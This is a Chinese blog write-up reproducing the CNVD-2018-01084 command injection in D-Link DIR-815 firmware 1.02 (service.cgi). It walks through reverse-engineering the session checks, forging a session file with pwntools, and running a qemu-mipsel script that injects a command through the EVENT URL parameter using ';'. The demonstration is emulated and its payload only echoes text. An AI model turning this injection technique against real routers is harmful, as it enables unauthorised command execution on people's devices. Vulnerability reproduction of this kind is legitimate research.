CNVD2018-01084(DIR815)命令执行漏洞复现
libc地址:0x2b300000
固件链接:legacyfiles.us.dlink.com - /DIR-815/REVA/FIRMWARE/
(这篇文章用的1.02版本)
参考:
CNVD-2018-01084 | Hexo
[原创] CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区
这个洞在网上找了不少资料,但还是没找到有关的文章,所以就单纯用户模式走一遍了
逆向
存在问题
这部分是对sess_valitable存在问题的解决,是比较靠后的内容,可以先看后面的那节
这个洞我在复现时是遇到了一个比较奇怪的问题:
在 sess_ispoweruser 遇到了无论怎么设置 COOKIE 返回值都会是0,以断掉后续的漏洞点所在的执行流,解决方法只能是patch
sess_validate

如果v11不是-1
sub_40795C
这里如果 sub_407660 能返回0,就可以保持刚才那个v11为0的状态进行返回,这样外面就不会中断了
sub_407660
可以看到,如果这个文件正常存在,这里就会提前结束逻辑并返回0
反推回去,就会发现如果这个文件正常存在,sess_ispoweruser就能正常返回1了
这点倒是在其他师傅的文章里看到了,其他师傅的描述是"由于仿真环境很难模拟出那个目录,可以patch一下",根据目录名 /var/session/<N>推测是用来存储会话信息的文件,所以仿真环境里可能确实无法模拟出来。
但其他师傅碰到的情况是"会卡死",我这边还是可以继续跑的,只是会导致外层的判断不通过,我这里就当成一回事考虑了(因为我太菜了,分析不明白这个问题QAQ)
这里我是简单看了下这几个函数的逻辑,发现其实是可以手动创建一个session函数来绕过这些问题的
刚才出问题的路径已经分析过了,这里直接给出一条能顺利解决问题的路径了
①从 sub_40795c 开始,首先这个位置是肯定能走到的

而后面的 return i 就是第一步,因为前面说的那个很关键的v11在这个函数中是 (DWORD)a1+1 ,只要这个点不动,就不会有事,所以要尽量提前返回,也就是这里的return i了,而且这个 i 始终大于等于0,也不会影响外层对返回值的判断
②来到 sub_407660 ,我们要让它返回值为0,因为第三个参数a3是0,会走这里

直接给出结论:需要读取的文件内容长度正好是232。为了方便后续调整,用cyclic生成不重复字串
③然后我们往外扒,回到 sub_40795c ,刚才那个return i的进入条件(条件1忽略)是 strcmp(a1+8, a2) = 0,即a1+8 == a2
那这俩指针是什么?调试看一下:
#这里先忽略其他内容要求的环境变量情况了 python3 ./make1.py #往/var/session/1里写232个不重复字符 INPUT="trace" echo $INPUT | qemu-mipsel -L . \ -0 "service.cgi" \ -g 3132 \ -E REQUEST_URI="aaa?bbb;ccc" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=5 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE="uid=ink" \ ./htdocs/cgibin
会发现其实就是我们在HTTP_COOKIE里写的uid内容,对应文件内容中 caaa 的位置,直接替换成uid内容即可
这样一来就成功让 sub_40795c 提前返回了,成功防止 sess_validate 的 v11 变成 -1(至于为什么不是保持0了,下一步会说)
④继续往外,来到 sess_validate ,不难看出,v11大于0时,会走到这里

这里动态分析就能看出来,其他其实都不太用管,只管44行那个 v0 = v11 就行了,返回值就是此时的 v11 值,那我们接着调试看v11是什么

会发现就是前面那个session文件读入的内容,定位在baaa的位置 (这是因为前面读取那个文件的时候写到这个位置了,可以自行调试找那个read调用的位置看一看),所以接着在里面写一个合适的值就行了,写多少这个函数就返回多少
⑤终于回到了sess_ispoweruser,
不难看出其实就是返回值 ∈ [0,100)
from pwn import * data = b'aaaa'+p32(77)+b'ink\0daaa...' fd = open("./var/session/1", "wb") fd.write(data) fd.close()
再来试试
成功让返回值为77
![]()
这下终于能顺利的走我们想要的漏洞点了(泪目)
主要
一上来还是方法检查,GET会掠过漏洞点,肯定不能考虑
所以要把 REQUEST_METHOD 设置成 POST
接着就是 cgibin_parse_request,是用来处理请求体信息的 
进去后首先就是两个环境变量

这里的 v7 也就是 CONTENT_LENGTH 要留意,后面有影响
而CONTENT_TYPE则是无所谓,只要有内容就行
再往后,是一个对 REQUEST_URL 的处理

这部分说实在的我也暂时没读明白,但是多数大佬说是用来读取 url 里的参数的,那就是(
需要注意的是可以进 sub_402b40 里看看,里面有路径参数分割情况 

测试分析阶段可以不管,随便给一个 aaa?bbb=ccc意思一下就行
再往后,看起来比较复杂,但是其实可以调试看

这样就很清晰了,这个奇怪的回调函数是 sub_403b10
这个地方实际上类似于一个取键值对决定调用目标的逻辑, off_42c014是一个键值对表,键是字符串,值是函数指针,字符串会拿来和CONTENT_TYPE的内容对照,也就是78行那个 strncasecmp 的作用,然后就调用了对应位置的 sub_403b10 指针
IDA里找到这个函数
不难看出我们需要它走 ret sub_402FFC 那条
接着跟进,进去发现这个函数是一个类似于对标准输入流接受数据的地方,其实就是处理请求体数据内容的(大概)
这里贴一段写过注释简单备注过变量名的


总结一下就是:需要标准输入流有内容,而且内容长度就是CONTENT_LENTH的长度,这样就可以让这个函数里的循环一次结束然后返回非负值
审计完这个函数后,就知道应该把脚本写成这样:
INPUT="trace" echo $INPUT | qemu-mipsel -L . \ -0 "service.cgi" \ -g 3132 \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=5 \ -E CONTENT_TYPE="application/xxx" \ -E REQUEST_URI="aaa?bbb=ccc" \ ./htdocs/cgibin
然后就到了 sess_ispoweruser 函数,这个函数总结下来结合函数名,大概是判断用户身份的,里面的一个核心逻辑在前面也分析过了,这里就再把它的外层逻辑大概看一下
直接进到sess_validate,这里有对用户身份的获取
可以看到是获取 uid 值到string变量里

也就是说在 HTTP_COOKIE 里写一个 uid = xxx 就可以了 (但是结合对那个/var/session/N的判断的话,感觉打实机可能还会涉及一些对该路由器过去session信息的获取然后合理伪造?不是很懂,既然只是复现就不管了)
至于更里层的分析就都在上面那节了
过完这个函数后,就到漏洞点了:

这里是对这三个参数进行了获取,我们还是调试来看这是获取了哪里的内容

这个函数里多次的对 off_42c120 这个全局变量进行操作,我们就看看它是什么
发现就是 REQUEST_URL 的内容
这里实在是懒得再去分析什么时候写进来的了,大概就是 cgibin_parse_request 里发生的吧
所以要控制 EVENT 的内容就可以直接在 REQUEST__URL 写 ?EVENT=xxx
再来看怎么进行命令执行
如果成功获取到了 event 的内容,就会直接跳到![]()
所以其实就是写一个EVENT参数就可以了,其他两个字段别管就行了
由于对这个拼接出的命令不存在任何过滤(除了处理URL时的 & 分隔符,其他字符都可以随便输入),我们可以用 ; 作分隔符执行任意命令
攻击
总结上面的分析可以写出如下攻击脚本
#/bin/sh python3 ./make1.py #写入b'aaaa'+p32(77)+b'ink\0daa' INPUT="trace" echo $INPUT | qemu-mipsel -L . \ -0 "service.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=5 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E REQUEST_URI="aaa?EVENT=;echo PWN!!!-TRACE-;" \ -E HTTP_COOKIE="uid=ink" \ ./htdocs/cgibin
成功输出:

浙公网安备 33010602011771号